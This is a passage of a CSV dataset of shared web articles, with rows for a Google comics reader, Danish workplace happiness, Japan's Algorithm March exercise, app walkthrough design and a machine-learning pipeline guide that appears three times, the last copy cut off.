""We want to come to the world and say: we nailed all the styles and comics that are out there,"" he said about the company's slow rollout plans. For now, this new reading experience is also only available on Android. There is no launch date for iOS yet, but Hartrell notes that Google is currently focussing on getting the Android experience right.",en
1469197339,CONTENT SHARED,6237714845306489877,5598537709124463353,4251869051817656115,,,,HTML,https://hbr.org/2016/07/how-ceos-can-keep-their-analytics-programs-from-being-a-waste-of-time,How CEOs Can Keep Their Analytics Programs from Being a Waste of Time,"Create a FREE account to: Get eight free articles per month* Access to personalized content Save articles and create shareable folders in your personal HBR library Get 20% off your first order using code HBRORGREG3** *not including articles that are exclusively for Harvard Business Review magazine subscribers **does not include magazine subscriptions UNLIMITED ACCESS TO HBR.ORG A one-year subscription Unlimited access to magazine archive including our 50 best-selling articles iPad and Android tablet apps including all of your magazine issues Create your personal library on HBR.org Organize articles of interest and share your favorites with colleagues Access to HBR's Visual Library which includes charts, infographics, and fully customizable slide decks",en
1469206531,CONTENT SHARED,7467940062038388159,-1032019229384696495,-2164620744308634647,,,,HTML,http://www.businessinsider.com/4-lessons-we-can-learn-from-denmark-about-happiness-at-work-2016-4?amp,4 lessons we can learn from Denmark about happiness at work,"Nelson L./Flickr Unhappy employees cost U.S. companies as much as $550 billion every year. That's roughly the equivalent of the valuation of Google or Apple , the world's two most valuable companies. Entrepreneurs have been grappling with unhappy employees for years, with U.S. employee engagement hovering at or below 30% since at least the year 2000, and it's taking its toll on American businesses. Compared to their happier peers , dissatisfied employees make 37% fewer sales, are 31% less productive, have 51% more turnover and are 300% less innovative. Companies with satisfied staff members outperform those with dissatisfied workers by up to 202% . In short, unhappy employees are bad for business, and American entrepreneurs don't seem to know what to do. But maybe it's time they look overseas for ideas: According to international happiness studies, Denmark ranks first in happiness, while the United States doesn't even make the top 10. If you want your business to join the ranks of those happier Europeans, take some cues from the Danes. Here are some of their secrets:",en
1469208111,CONTENT SHARED,-4434534460030275781,2833428826475063405,6118340781628663558,,,,HTML,http://www.thejapanguy.com/algorithm-march-japans-strangely-entertaining-exercise/,"The Algorithm March, Japan's Strangely Entertaining Exercise","Arugorizumu Koushin! アルゴリズムこうしん (Algorithm March!) Hitori de koushin ひとりでこうしん (Individual March) Ippo susunde mae narae いっぽすすんでまえならえ (Take one step and reach forward) Ippo susunde eraihito いっぽすすんでえらいひと (Take one step forward and you're a great person) Hikkuri kaete pekorinko ひっくりかえてぺこりんこ (Turn around and bow to the person) Yoko ni aruite kyorokyoro よこにあるいてきょろきょろ (Walk sideways and look around) Chotto kokorade hiraoyogi ちょっとここらでひらおよぎ (Wait here and do the breaststroke) Chotto shagande kurihiroi ちょっとしゃがんでくりひろい (Crouch here a moment and pick up a chestnut) Kuuki iremasu shuu shuu くうきいれますシュウシュウ (Put air in it whoosh, whoosh) Kuuki ga haite pyuu pyuu くうきがはいてピュウピュウ (There's air inside pyuu, pyuu) Ippo susunde mae narae いっぽすすんでまえならえ (Take one step and reach forward) Ippo susunde eraihito いっぽすすんでえらいひと (Take one step forward and you're a great person) Hikkuri kaete pekorinko ひっくりかえてぺこりんこ (Turn around and bow to the person) Yoko ni aruite kyorokyoro よこにあるいてきょろきょろ (Walk sideways and look around) Chotto kokorade hiraoyogi ちょっとここらでひらおよぎ (Wait here and do the breaststroke) Chotto shagande kurihiroi ちょっとしゃがんでくりひろい (Crouch here a moment and pick up a chestnut) Kuuki iremasu shuu shuu くうきいれますシュウシュウ (Put air in it whoosh, whoosh) Kuuki ga haite pyuu pyuu くうきがはいてピュウピュウ (There's air inside pyuu, pyuu) Sorosoro owari kana そろそろおわりかな (I wonder if it will end soon?) Sorosoro owari kana そろそろおわりかな (I wonder if it will end soon?) Sorosoro owari kana そろそろおわりかな (I wonder if it will end soon?) Owari おわり (Finished) This is what the Algorithm Taiso looks like: Algorithm Taiso - Tokyo Bus Guides 投稿者 saigo_takamori Kocchi muite futari de maenarae こっちむいてふたりでまえならえ (Turn this way and reach forward with both hands) Aichi muite futari de maenarae あいちむいてふたりでまえならえ (Turn that way and reach forward with both hands) Kocchi muite futari de maenarae こっちむいてふたりでまえならえ (Turn this way and reach forward with both hands) Aichi muite futari de maenarae あいちむいてふたりでまえならえ (Turn that way and reach forward with both hands) Te wo yoko ni ara abunai てをよこにあらあぶない (Put your hands to the side...oh, that's dangerous) Atama wo sagereba butsukarimasen あたまをさげればぶつかりません (If you lower your head you won't get hit) Te wo yoko ni ara abunai てをよこにあらあぶない (Put your hands to the side...oh, that's dangerous) Atama wo sagereba daijobu あたまをさげればだいじょうぶ (Lower your head and you'll be okay) Guruguruguru guruguruguru ぐるぐるぐる　ぐるぐるぐる (Round and round, round and round) Guru guru ぐるぐる (Round and round) Guruguruguru guruguruguru ぐるぐるぐる　ぐるぐるぐる (Round and round, round and round) Guru guru ぐるぐる (Round and round) Pacchin pacchin gasshin gasshin ぱっちんぱっちん　ガシンガッシン (slap, slap, bash, bash) Pacchin pacchin gasshin gasshin ぱっちんぱっちん　ガシンガッシン (slap, slap, bash, bash) Pacchin pacchin gasshin gasshin ぱっちんぱっちん　ガシンガッシン (slap, slap, bash, bash) Pacchin pacchin gasshin gasshin ぱっちんぱっちん　ガシンガッシン (slap, slap, bash, bash) Sutte haku no ga shinkokyuu すってはくのがしんこきゅう (Take a deep breath) Sutte haku no ga shinkokyuu すってはくのがしんこきゅう (Take a deep breath) I definitely like the Algorithm March better than the Algorithm Taiso. Not only because of the ninjas but because it's so much fun to do with a group of your friends. Which one do you like better? They're both heaps of fun, though. Why not give them both a try? Warning: THE ALGORITHM MARCH & ALGORITHM TAISO CAN BE VERY ADDICTIVE!! HAVE FUN!! Donald Ash The following two tabs change content below.",ja
1469218184,CONTENT SHARED,-3700095596785790870,-709287718034731589,611887042307582085,,,,HTML,http://uxmovement.com/mobile/how-to-design-a-walkthrough-that-users-will-read/,How to Design a Walkthrough That Users Will Read,"by anthony on 07/18/16 at 8:02 am If a new app is a new product, then the walkthrough is the instruction manual. A walkthrough appears when new users open an app for the first time. They get a brief overview of the app's features before they start using it. This is necessary so that new users can use the app without confusion. Excluding walkthroughs in your app can leave users confused. But making your walkthroughs hard to read and navigate can also leave them confused. Users will end up skipping them so they don't have to go through the hassle. Your walkthrough should motivate users to read it so they'll know how to use your app. You do this by using clear navigation cues and making your text scannable. Users should also be able to retrieve your walkthrough again if they need to reference it. All these are necessary for a user-friendly walkthrough. Scannable Text Text that's scannable is concise and to the point. Say what you need to say but use as few words as possible. Use headings that sum up your points in just a few words. You can put body text descriptions underneath the headings but keep them short. Avoid making the user's eyes work too much by placing the text near the navigation. This decreases the distance between the text and navigation and shortens their eye movement. They'll be able to read and navigate faster with less effort. Clear Navigation Cues Some designers will exclude navigation buttons for their walkthrough. Instead, they'll only display pagination dots and expect users to swipe. Not only is it easy for users to miss such a small visual cue, but it's not intuitive that the dots mean swipe. Don't force users to figure out how to navigate. Use clear navigation cues such as a button with a 'Next' label so that users won't have any doubt on how to navigate. Buttons are intuitive for tapping which every user understands. You can still allow users to swipe to navigate, but make sure there's a button as well. End with Call-to-Action Button Placing your call-to-action button at the beginning of your walkthrough isn't a good idea. This will tempt users to skip your walkthrough. Most users will skip it because they'll feel like they don't need it. But chances are they'll end up a confused user looking for the help page if they skip it. Place your call-to-action button at the end so you don't give users the option to skip it. This is a more sensible and expected flow that's better for the user in the long run. Images Should Show How to Use App Some designers will keep selling users in their walkthrough by touting their features. Once users have downloaded your app there's no need to sell them on it anymore. Instead, they need to know how to use it. Your images should display the user interface and pinpoint what users need to tap or swipe to use a feature. Retrievable Walkthrough After users are done with the walkthrough they may still need to go back and reference it. You should make it easy for users to retrieve the walkthrough by placing a link to it in your navigation menu. You can label the link: tour, tutorial or how-to. Make Walkthroughs a Walk in the Park A walkthrough that's a pain to read and navigate is one that users will always want to skip. But if you make yours short and useful they'll have no problem viewing it. A walkthrough is not a help and support page. It's a quick overview of features to help users get started. In-depth details on how to use the app belong on the help and support page. One reason people skip instruction manuals is because they take too long to read and are hard to follow. Although a walkthrough instructs users, it should never feel like an instruction manual. Instead, it should feel as easy to read as a sticky note. PRODUCTS Author and editor-in-chief of UX Movement. Finds beauty in clear, efficient design and loves fighting for users.",en
1469220428,CONTENT SHARED,8381798621267347902,-1443636648652872475,-65776639285603350,,,,HTML,https://www.linkedin.com/pulse/approaching-almost-any-machine-learning-problem-abhishek-thakur,Approaching (Almost) Any Machine Learning Problem,"An average data scientist deals with loads of data daily. Some say over 60-70% time is spent in data cleaning, munging and bringing data to a suitable format such that machine learning models can be applied on that data. This post focuses on the second part, i.e., applying machine learning models, including the preprocessing steps. The pipelines discussed in this post come as a result of over a hundred machine learning competitions that I've taken part in. It must be noted that the discussion here is very general but very useful and there can also be very complicated methods which exist and are practised by professionals. We will be using python! Before applying the machine learning models, the data must be converted to a tabular form. This whole process is the most time consuming and difficult process and is depicted in the figure below. The machine learning models are then applied to the tabular data. Tabular data is most common way of representing data in machine learning or data mining. We have a data table, rows with different samples of the data or X and labels, y. The labels can be single column or multi-column, depending on the type of problem. We will denote data by X and labels by y. The labels define the problem and can be of different types, such as: Single column, binary values (classification problem, one sample belongs to one class only and there are only two classes) Single column, real values (regression problem, prediction of only one value) Multiple column, binary values (classification problem, one sample belongs to one class, but there are more than two classes) Multiple column, real values (regression problem, prediction of multiple values) And multilabel (classification problem, one sample can belong to several classes) For any kind of machine learning problem, we must know how we are going to evaluate our results, or what the evaluation metric or objective is. For example in case of a skewed binary classification problem we generally choose area under the receiver operating characteristic curve (ROC AUC or simply AUC). In case of multi-label or multi-class classification problems, we generally choose categorical cross-entropy or multiclass log loss and mean squared error in case of regression problems. I won't go into details of the different evaluation metrics as we can have many different types, depending on the problem. To start with the machine learning libraries, install the basic and most important ones first, for example, numpy and scipy. I don't use Anaconda ( ). It's easy and does everything for you, but I want more freedom. The choice is yours. :) In 2015, I came up with a framework for automatic machine learning which is still under development and will be released soon. For this post, the same framework will be the basis. The framework is shown in the figure below: Figure from: A. Thakur and A. Krohn-Grimberghe, AutoCompete: A Framework for Machine Learning Competitions, AutoML Workshop, International Conference on Machine Learning 2015 In the framework shown above, the pink lines represent the most common paths followed. After we have extracted and reduced the data to a tabular format, we can go ahead with building machine learning models. The very first step is identification of the problem. This can be done by looking at the labels. One must know if the problem is a binary classification, a multi-class or multi-label classification or a regression problem. After we have identified the problem, we split the data into two different parts, a training set and a validation set as depicted in the figure below. The splitting of data into training and validation sets ""must"" be done according to labels. In case of any kind of classification problem, use stratified splitting. In python, you can do this using scikit-learn very easily. In case of regression task, a simple K-Fold splitting should suffice. There are, however, some complex methods which tend to keep the distribution of labels same for both training and validation set and this is left as an exercise for the reader. I have chosen the eval_size or the size of the validation set as 10% of the full data in the examples above, but one can choose this value according to the size of the data they have. After the splitting of the data is done, leave this data out and don't touch it. Any operations that are applied on training set must be saved and then applied to the validation set. Validation set, in any case, should not be joined with the training set. Doing so will result in very good evaluation scores and make the user happy but instead he/she will be building a useless model with very high overfitting. Next step is identification of different variables in the data. There are usually three types of variables we deal with. Namely, numerical variables, categorical variables and variables with text inside them. Let's take example of the popular Titanic dataset ( ). Here, survival is the label. We have already separated labels from the training data in the previous step. Then, we have pclass, sex, embarked. These variables have different levels and thus they are categorical variables. Variables like age, sibsp, parch, etc are numerical variables. Name is a variable with text data but I don't think it's a useful variable to predict survival. Separate out the numerical variables first. These variables don't need any kind of processing and thus we can start applying normalization and machine learning models to these variables. There are two ways in which we can handle categorical data: Convert the categorical data to labels Convert the labels to binary variables (one-hot encoding) Please remember to convert categories to numbers first using LabelEncoder before applying OneHotEncoder on it. Since, the Titanic data doesn't have good example of text variables, let's formulate a general rule on handling text variables. We can combine all the text variables into one and then use some algorithms which work on text data and convert it to numbers. The text variables can be joined as follows: We can then use CountVectorizer or TfidfVectorizer on it: or, The TfidfVectorizer performs better than the counts most of the time and I have seen that the following parameters for TfidfVectorizer work almost all the time. If you are applying these vectorizers only on the training set, make sure to dump it to hard drive so that you can use it later on the validation set. Next, we come to the stacker module. Stacker module is not a model stacker but a feature stacker. The different features after the processing steps described above can be combined using the stacker module. You can horizontally stack all the features before putting them through further processing by using numpy hstack or sparse hstack depending on whether you have dense or sparse features. And can also be achieved by FeatureUnion module in case there are other processing steps such as pca or feature selection (we will visit decomposition and feature selection later in this post). Once, we have stacked the features together, we can start applying machine learning models. At this stage only models you should go for should be ensemble tree based models. These models include: RandomForestClassifier RandomForestRegressor ExtraTreesClassifier ExtraTreesRegressor XGBClassifier XGBRegressor We cannot apply linear models to the above features since they are not normalized. To use linear models, one can use Normalizer or StandardScaler from scikit-learn. These normalization methods work only on dense features and don't give very good results if applied on sparse features. Yes, one can apply StandardScaler on sparse matrices without using the mean (parameter: with_mean=False). If the above steps give a ""good"" model, we can go for optimization of hyperparameters and in case it doesn't we can go for the following steps and improve our model. The next steps include decomposition methods: For the sake of simplicity, we will leave out LDA and QDA transformations. For high dimensional data, generally PCA is used decompose the data. For images start with 10-15 components and increase this number as long as the quality of result improves substantially. For other type of data, we select 50-60 components initially (we tend to avoid PCA as long as we can deal with the numerical data as it is). For text data, after conversion of text to sparse matrix, go for Singular Value Decomposition (SVD). A variation of SVD called TruncatedSVD can be found in scikit-learn. The number of SVD components that generally work for TF-IDF or counts are between 120-200. Any number above this might improve the performance but not substantially and comes at the cost of computing power. After evaluating further performance of the models, we move to scaling of the datasets, so that we can evaluate linear models too. The normalized or scaled features can then be sent to the machine learning models or feature selection modules. There are multiple ways in which feature selection can be achieved. One of the most common way is greedy feature selection (forward or backward). In greedy feature selection we choose one feature, train a model and evaluate the performance of the model on a fixed evaluation metric. We keep adding and removing features one-by-one and record performance of the model at every step. We then select the features which have the best evaluation score. One implementation of greedy feature selection with AUC as evaluation metric can be found here: . It must be noted that this implementation is not perfect and must be changed/modified according to the requirements. Other faster methods of feature selection include selecting best features from a model. We can either look at coefficients of a logit model or we can train a random forest to select best features and then use them later with other machine learning models. Remember to keep low number of estimators and minimal optimization of hyper parameters so that you don't overfit. The feature selection can also be achieved using Gradient Boosting Machines. It is good if we use xgboost instead of the implementation of GBM in scikit-learn since xgboost is much faster and more scalable. We can also do feature selection of sparse datasets using RandomForestClassifier / RandomForestRegressor and xgboost. Another popular method for feature selection from positive sparse datasets is chi-2 based feature selection and we also have that implemented in scikit-learn. Here, we use chi2 in conjunction with SelectKBest to select 20 features from the data. This also becomes a hyperparameter we want to optimize to improve the result of our machine learning models. Don't forget to dump any kinds of transformers you use at all the steps. You will need them to evaluate performance on the validation set. Next (or intermediate) major step is model selection + hyperparameter optimization. We generally use the following algorithms in the process of selecting a machine learning model: Which parameters should I optimize? How do I choose parameters closest to the best ones? These are a couple of questions people come up with most of the time. One cannot get answers to these questions without experience with different models + parameters on a large number of datasets. Also people who have experience are not willing to share their secrets. Luckily, I have quite a bit of experience too and I'm willing to give away some of the stuff. Let's break down the hyperparameters, model wise: RS* = Cannot say about proper values, go for Random Search in these hyperparameters. In my opinion, and strictly my opinion, the above models will out-perform any others and we don't need to evaluate any other models. Once again, remember to save the transformers: And apply them on validation set separately: The above rules and the framework has performed very well in most of the datasets I have dealt with. Of course, it has also failed for very complicated tasks. Nothing is perfect and we keep on improving on what we learn. Just like in machine learning. Get in touch with me with any doubts: abhishek4 [at] gmail [dot] com",en
1469220488,CONTENT REMOVED,8381798621267347902,-1443636648652872475,-65776639285603350,,,,HTML,https://www.linkedin.com/pulse/approaching-almost-any-machine-learning-problem-abhishek-thakur,Approaching (Almost) Any Machine Learning Problem,"An average data scientist deals with loads of data daily. Some say over 60-70% time is spent in data cleaning, munging and bringing data to a suitable format such that machine learning models can be applied on that data. This post focuses on the second part, i.e., applying machine learning models, including the preprocessing steps. The pipelines discussed in this post come as a result of over a hundred machine learning competitions that I've taken part in. It must be noted that the discussion here is very general but very useful and there can also be very complicated methods which exist and are practised by professionals. We will be using python! Before applying the machine learning models, the data must be converted to a tabular form. This whole process is the most time consuming and difficult process and is depicted in the figure below. The machine learning models are then applied to the tabular data. Tabular data is most common way of representing data in machine learning or data mining. We have a data table, rows with different samples of the data or X and labels, y. The labels can be single column or multi-column, depending on the type of problem. We will denote data by X and labels by y. The labels define the problem and can be of different types, such as: Single column, binary values (classification problem, one sample belongs to one class only and there are only two classes) Single column, real values (regression problem, prediction of only one value) Multiple column, binary values (classification problem, one sample belongs to one class, but there are more than two classes) Multiple column, real values (regression problem, prediction of multiple values) And multilabel (classification problem, one sample can belong to several classes) For any kind of machine learning problem, we must know how we are going to evaluate our results, or what the evaluation metric or objective is. For example in case of a skewed binary classification problem we generally choose area under the receiver operating characteristic curve (ROC AUC or simply AUC). In case of multi-label or multi-class classification problems, we generally choose categorical cross-entropy or multiclass log loss and mean squared error in case of regression problems. I won't go into details of the different evaluation metrics as we can have many different types, depending on the problem. To start with the machine learning libraries, install the basic and most important ones first, for example, numpy and scipy. I don't use Anaconda ( ). It's easy and does everything for you, but I want more freedom. The choice is yours. :) In 2015, I came up with a framework for automatic machine learning which is still under development and will be released soon. For this post, the same framework will be the basis. The framework is shown in the figure below: Figure from: A. Thakur and A. Krohn-Grimberghe, AutoCompete: A Framework for Machine Learning Competitions, AutoML Workshop, International Conference on Machine Learning 2015 In the framework shown above, the pink lines represent the most common paths followed. After we have extracted and reduced the data to a tabular format, we can go ahead with building machine learning models. The very first step is identification of the problem. This can be done by looking at the labels. One must know if the problem is a binary classification, a multi-class or multi-label classification or a regression problem. After we have identified the problem, we split the data into two different parts, a training set and a validation set as depicted in the figure below. The splitting of data into training and validation sets ""must"" be done according to labels. In case of any kind of classification problem, use stratified splitting. In python, you can do this using scikit-learn very easily. In case of regression task, a simple K-Fold splitting should suffice. There are, however, some complex methods which tend to keep the distribution of labels same for both training and validation set and this is left as an exercise for the reader. I have chosen the eval_size or the size of the validation set as 10% of the full data in the examples above, but one can choose this value according to the size of the data they have. After the splitting of the data is done, leave this data out and don't touch it. Any operations that are applied on training set must be saved and then applied to the validation set. Validation set, in any case, should not be joined with the training set. Doing so will result in very good evaluation scores and make the user happy but instead he/she will be building a useless model with very high overfitting. Next step is identification of different variables in the data. There are usually three types of variables we deal with. Namely, numerical variables, categorical variables and variables with text inside them. Let's take example of the popular Titanic dataset ( ). Here, survival is the label. We have already separated labels from the training data in the previous step. Then, we have pclass, sex, embarked. These variables have different levels and thus they are categorical variables. Variables like age, sibsp, parch, etc are numerical variables. Name is a variable with text data but I don't think it's a useful variable to predict survival. Separate out the numerical variables first. These variables don't need any kind of processing and thus we can start applying normalization and machine learning models to these variables. There are two ways in which we can handle categorical data: Convert the categorical data to labels Convert the labels to binary variables (one-hot encoding) Please remember to convert categories to numbers first using LabelEncoder before applying OneHotEncoder on it. Since, the Titanic data doesn't have good example of text variables, let's formulate a general rule on handling text variables. We can combine all the text variables into one and then use some algorithms which work on text data and convert it to numbers. The text variables can be joined as follows: We can then use CountVectorizer or TfidfVectorizer on it: or, The TfidfVectorizer performs better than the counts most of the time and I have seen that the following parameters for TfidfVectorizer work almost all the time. If you are applying these vectorizers only on the training set, make sure to dump it to hard drive so that you can use it later on the validation set. Next, we come to the stacker module. Stacker module is not a model stacker but a feature stacker. The different features after the processing steps described above can be combined using the stacker module. You can horizontally stack all the features before putting them through further processing by using numpy hstack or sparse hstack depending on whether you have dense or sparse features. And can also be achieved by FeatureUnion module in case there are other processing steps such as pca or feature selection (we will visit decomposition and feature selection later in this post). Once, we have stacked the features together, we can start applying machine learning models. At this stage only models you should go for should be ensemble tree based models. These models include: RandomForestClassifier RandomForestRegressor ExtraTreesClassifier ExtraTreesRegressor XGBClassifier XGBRegressor We cannot apply linear models to the above features since they are not normalized. To use linear models, one can use Normalizer or StandardScaler from scikit-learn. These normalization methods work only on dense features and don't give very good results if applied on sparse features. Yes, one can apply StandardScaler on sparse matrices without using the mean (parameter: with_mean=False). If the above steps give a ""good"" model, we can go for optimization of hyperparameters and in case it doesn't we can go for the following steps and improve our model. The next steps include decomposition methods: For the sake of simplicity, we will leave out LDA and QDA transformations. For high dimensional data, generally PCA is used decompose the data. For images start with 10-15 components and increase this number as long as the quality of result improves substantially. For other type of data, we select 50-60 components initially (we tend to avoid PCA as long as we can deal with the numerical data as it is). For text data, after conversion of text to sparse matrix, go for Singular Value Decomposition (SVD). A variation of SVD called TruncatedSVD can be found in scikit-learn. The number of SVD components that generally work for TF-IDF or counts are between 120-200. Any number above this might improve the performance but not substantially and comes at the cost of computing power. After evaluating further performance of the models, we move to scaling of the datasets, so that we can evaluate linear models too. The normalized or scaled features can then be sent to the machine learning models or feature selection modules. There are multiple ways in which feature selection can be achieved. One of the most common way is greedy feature selection (forward or backward). In greedy feature selection we choose one feature, train a model and evaluate the performance of the model on a fixed evaluation metric. We keep adding and removing features one-by-one and record performance of the model at every step. We then select the features which have the best evaluation score. One implementation of greedy feature selection with AUC as evaluation metric can be found here: . It must be noted that this implementation is not perfect and must be changed/modified according to the requirements. Other faster methods of feature selection include selecting best features from a model. We can either look at coefficients of a logit model or we can train a random forest to select best features and then use them later with other machine learning models. Remember to keep low number of estimators and minimal optimization of hyper parameters so that you don't overfit. The feature selection can also be achieved using Gradient Boosting Machines. It is good if we use xgboost instead of the implementation of GBM in scikit-learn since xgboost is much faster and more scalable. We can also do feature selection of sparse datasets using RandomForestClassifier / RandomForestRegressor and xgboost. Another popular method for feature selection from positive sparse datasets is chi-2 based feature selection and we also have that implemented in scikit-learn. Here, we use chi2 in conjunction with SelectKBest to select 20 features from the data. This also becomes a hyperparameter we want to optimize to improve the result of our machine learning models. Don't forget to dump any kinds of transformers you use at all the steps. You will need them to evaluate performance on the validation set. Next (or intermediate) major step is model selection + hyperparameter optimization. We generally use the following algorithms in the process of selecting a machine learning model: Which parameters should I optimize? How do I choose parameters closest to the best ones? These are a couple of questions people come up with most of the time. One cannot get answers to these questions without experience with different models + parameters on a large number of datasets. Also people who have experience are not willing to share their secrets. Luckily, I have quite a bit of experience too and I'm willing to give away some of the stuff. Let's break down the hyperparameters, model wise: RS* = Cannot say about proper values, go for Random Search in these hyperparameters. In my opinion, and strictly my opinion, the above models will out-perform any others and we don't need to evaluate any other models. Once again, remember to save the transformers: And apply them on validation set separately: The above rules and the framework has performed very well in most of the datasets I have dealt with. Of course, it has also failed for very complicated tasks. Nothing is perfect and we keep on improving on what we learn. Just like in machine learning. Get in touch with me with any doubts: abhishek4 [at] gmail [dot] com",en
1469220517,CONTENT SHARED,9208127165664287660,-1443636648652872475,-65776639285603350,,,,HTML,http://blog.kaggle.com/2016/07/21/approaching-almost-any-machine-learning-problem-abhishek-thakur/,Approaching (Almost) Any Machine Learning Problem | Abhishek Thakur,"Abhishek Thakur , a Kaggle Grandmaster, originally published this post here on July 18th, 2016 and kindly gave us permission to cross-post on No Free Hunch An average data scientist deals with loads of data daily. Some say over 60-70% time is spent in data cleaning, munging and bringing data to a suitable format such that machine learning models can be applied on that data. This post focuses on the second part, i.e., applying machine learning models, including the preprocessing steps. The pipelines discussed in this post come as a result of over a hundred machine learning competitions that I've taken part in. It must be noted that the discussion here is very general but very useful and there can also be very complicated methods which exist and are practised by professionals. We will be using python! Before applying the machine learning models, the data must be converted to a tabular form. This whole process is the most time consuming and difficult process and is depicted in the figure below. The machine learning models are then applied to the tabular data. Tabular data is most common way of representing data in machine learning or data mining. We have a data table, rows with different samples of the data or X and labels, y. The labels can be single column or multi-column, depending on the type of problem. We will denote data by X and labels by y. The labels define the problem and can be of different types, such as: Single column, binary values (classification problem, one sample belongs to one class only and there are only two classes) Single column, real values (regression problem, prediction of only one value) Multiple column, binary values (classification problem, one sample belongs to one class, but there are more than two classes) Multiple column, real values (regression problem, prediction of multiple values) And multilabel (classification problem, one sample can belong to several classes) For any kind of machine learning problem, we must know how we are going to evaluate our results, or what the evaluation metric or objective is. For example in case of a skewed binary classification problem we generally choose area under the receiver operating characteristic curve (ROC AUC or simply AUC). In case of multi-label or multi-class classification problems, we generally choose categorical cross-entropy or multiclass log loss and mean squared error in case of regression problems. I won't go into details of the different evaluation metrics as we can have many different types, depending on the problem. To start with the machine learning libraries, install the basic and most important ones first, for example, numpy and scipy. I don't use Anaconda ( ). It's easy and does everything for you, but I want more freedom. The choice is yours. �� In 2015, I came up with a framework for automatic machine learning which is still under development and will be released soon. For this post, the same framework will be the basis. The framework is shown in the figure below: In the framework shown above, the pink lines represent the most common paths followed. After we have extracted and reduced the data to a tabular format, we can go ahead with building machine learning models. The very first step is identification of the problem. This can be done by looking at the labels. One must know if the problem is a binary classification, a multi-class or multi-label classification or a regression problem. After we have identified the problem, we split the data into two different parts, a training set and a validation set as depicted in the figure below. The splitting of data into training and validation sets ""must"" be done according to labels. In case of any kind of classification problem, use stratified splitting. In python, you can do this using scikit-learn very easily. In case of regression task, a simple K-Fold splitting should suffice. There are, however, some complex methods which tend to keep the distribution of labels same for both training and validation set and this is left as an exercise for the reader. I have chosen the eval_size or the size of the validation set as 10% of the full data in the examples above, but one can choose this value according to the size of the data they have. After the splitting of the data is done, leave this data out and don't touch it. Any operations that are applied on training set must be saved and then applied to the validation set. Validation set, in any case, should not be joined with the training set. Doing so will result in very good evaluation scores and make the user happy but instead he/she will be building a useless model with very high overfitting. Next step is identification of different variables in the data. There are usually three types of variables we deal with. Namely, numerical variables, categorical variables and variables with text inside them. Let's take example of the popular Titanic dataset ( ). Here, survival is the label. We have already separated labels from the training data in the previous step. Then, we have pclass, sex, embarked. These variables have different levels and thus they are categorical variables. Variables like age, sibsp, parch, etc are numerical variables. Name is a variable with text data but I don't think it's a useful variable to predict survival. Separate out the numerical variables first. These variables don't need any kind of processing and thus we can start applying normalization and machine learning models to these variables. There are two ways in which we can handle categorical data: Convert the categorical data to labels Convert the labels to binary variables (one-hot encoding) Please remember to convert categories to numbers first using LabelEncoder before applying OneHotEncoder on it. Since, the Titanic data doesn't have good example of text variables, let's formulate a general rule on handling text variables. We can combine all the text variables into one and then use some algorithms which work on text data and convert it to numbers. The text variables can be joined as follows: We can then use CountVectorizer or TfidfVectorizer on it: or, The TfidfVectorizer performs better than the counts most of the time and I have seen that the following parameters for TfidfVectorizer work almost all the time. If you are applying these vectorizers only on the training set, make sure to dump it to hard drive so that you can use it later on the validation set. Next, we come to the stacker module. Stacker module is not a model stacker but a feature stacker. The different features after the processing steps described above can be combined using the stacker module. You can horizontally stack all the features before putting them through further processing by using numpy hstack or sparse hstack depending on whether you have dense or sparse features. And can also be achieved by FeatureUnion module in case there are other processing steps such as pca or feature selection (we will visit decomposition and feature selection later in this post). Once, we have stacked the features together, we can start applying machine learning models. At this stage only models you should go for should be ensemble tree based models. These models include: RandomForestClassifier RandomForestRegressor ExtraTreesClassifier ExtraTreesRegressor XGBClassifier XGBRegressor We cannot apply linear models to the above features since they are not normalized. To use linear models, one can use Normalizer or StandardScaler from scikit-learn. These normalization methods work only on dense features and don't give very good results if applied on sparse features. Yes, one can apply StandardScaler on sparse matrices without using the mean (parameter: with_mean=False). If the above steps give a ""good"" model, we can go for optimization of hyperparameters and in case it doesn't we can go for the following steps and improve our model. The next steps include decomposition methods: For the sake of simplicity, we will leave out LDA and QDA transformations. For high dimensional data, generally PCA is used decompose the data. For images start with 10-15 components and increase this number as long as the quality of result improves substantially. For other type of data, we select 50-60 components initially (we tend to avoid PCA as long as we can deal with the numerical data as it is). For text data, after conversion of text to sparse matrix, go for Singular Value Decomposition (SVD). A variation of SVD called TruncatedSVD can be found in scikit-learn. The number of SVD components that generally work for TF-IDF or counts are between 120-200. Any number above this might improve the performance but not substantially and comes at the cost of computing power. After evaluating further performance of the models, we move to scaling of the datasets, so that we can evaluate linear models too. The normalized or scaled features can then be sent to the machine learning models or feature selection modules. There are multiple ways in which feature selection can be achieved. One of the most common way is greedy feature selection (forward or backward). In greedy feature selection we choose one feature, train a model and evaluate the performance of the model on a fixed evaluation metric. We keep adding and removing features one-by-one and record performance of the model at every step. We then select the features which have the best evaluation score. One implementation of greedy feature selection with AUC as evaluation metric can be found here: . It must be noted that this implementation is not perfect and must be changed/modified according to the requirements. Other faster methods of feature selection include selecting best features from a model. We can either look at coefficients of a logit model or we can train a random forest to select best features and then use them later with other machine learning models. Remember to keep low number of estimators and minimal optimization of hyper parameters so that you don't overfit. The feature selection can also be achieved using Gradient Boosting Machines. It is good if we use xgboost instead of the implementation of GBM in scikit-learn since xgboost is much faster and more scalable. We can also do feature selection of sparse datasets using RandomForestClassifier / RandomForestRegressor and xgboost. Another popular method for feature selection from positive sparse datasets is chi-2 based feature selection and we also have that implemented in scikit-learn. Here, we use chi2 in conjunction with SelectKBest to select 20 features from the data. This also becomes a hyperparameter we want to optimize to improve the result of our machine learning models. Don't forget to dump any kinds of transformers you use at all the steps. You will need them to evaluate performance on the validation set. Next (or intermediate) major step is model selection + hyperparameter optimization. We generally use the following algorithms in the process of selecting a machine learning model: Which parameters should I optimize? How do I choose parameters closest to the best ones? These are a couple of questions people come up with most of the time. One cannot get answers to these questions without experience with different models + parameters on a large number of datasets. Also people who have experience are not willing to share their secrets. Luckily, I have quite a bit of experience too and I'm willing to give away some of the stuff. Let's break down the hyperparameters, model wise: RS* = Cannot say about proper values, go for Random Search in these hyperparameters. In my opinion, and strictly my opinion, the above models will out-perform any others and we don't need to evaluate any other models. Once again, remember to save the transformers: And apply them on validation set separately: The above rules and the framework has performed very well in most of the datasets I have dealt with. Of course, it has also failed for very complicated tasks. Nothing is perfect and we keep on improving on what we learn. Just like in machine learning. Get in touch with me with any doubts: abhishek4 [at] gmail [dot] com Abhishek Thakur works as a Senior Data Scientist on the Data Science team at Searchmetrics Inc . At Searchmetrics, Abhishek works on some of the most interesting data driven studies, applied machine learning algorithms and deriving insights from huge amount of data which require a lot of data munging, cleaning, feature engineering and building and optimization of machine learning models. In his free time, he likes to take part in machine learning competitions and has taken part in 